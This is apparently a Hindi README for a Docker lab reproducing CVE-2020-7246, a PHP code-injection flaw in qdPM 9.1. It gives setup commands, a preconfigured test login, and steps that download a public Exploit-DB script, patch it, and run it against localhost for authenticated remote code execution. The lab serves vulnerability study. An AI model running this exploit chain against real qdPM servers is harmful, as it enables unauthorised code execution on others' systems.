
CVE-2020-7246 के लिए प्रयोगशाला वातावरण और शोषण स्क्रिप्ट, qdPM 9.1 में एक PHP कोड इंजेक्शन भेद्यता। इसमें Docker सेटअप और प्रमाणित रिमोट कोड निष्पादन के लिए Python2-आधारित शोषण शामिल है।
लैब सेटअप करना: a) git clone https://github.com/pswalia2u/CVE-2020-7246.git b) cd CVE-2020-7246 && docker build -t cve-assignment:ine . && docker run -it -p 80:80 cve-assignment:ine c) वेब सर्वर http://127.0.0.1/index.php पर सुलभ होना चाहिए d) पूर्व-कॉन्फ़िगर खाता: email: [email protected] password: developer_1
शोषण:
पुराने python2 शोषण का उपयोग करके https://www.exploit-db.com/exploits/47954 a)curl https://www.exploit-db.com/raw/47954 > exploit.py
b)शोषण स्क्रिप्ट के शीर्ष पर "# -- coding: utf-8 --" जोड़ना sed -i '1s/^/# -- coding: utf-8 --\n/' exploit.py
c)python2 और निर्भरताएँ स्थापित करना apt install python2 -y && curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python2 get-pip.py && pip2 install requests lxml
d)शोषण चलाएँ python2 exploit.py -url http://127.0.0.1/ -u <user_email> -p python2 exploit.py -url http://127.0.0.1/ -u [email protected] -p developer_1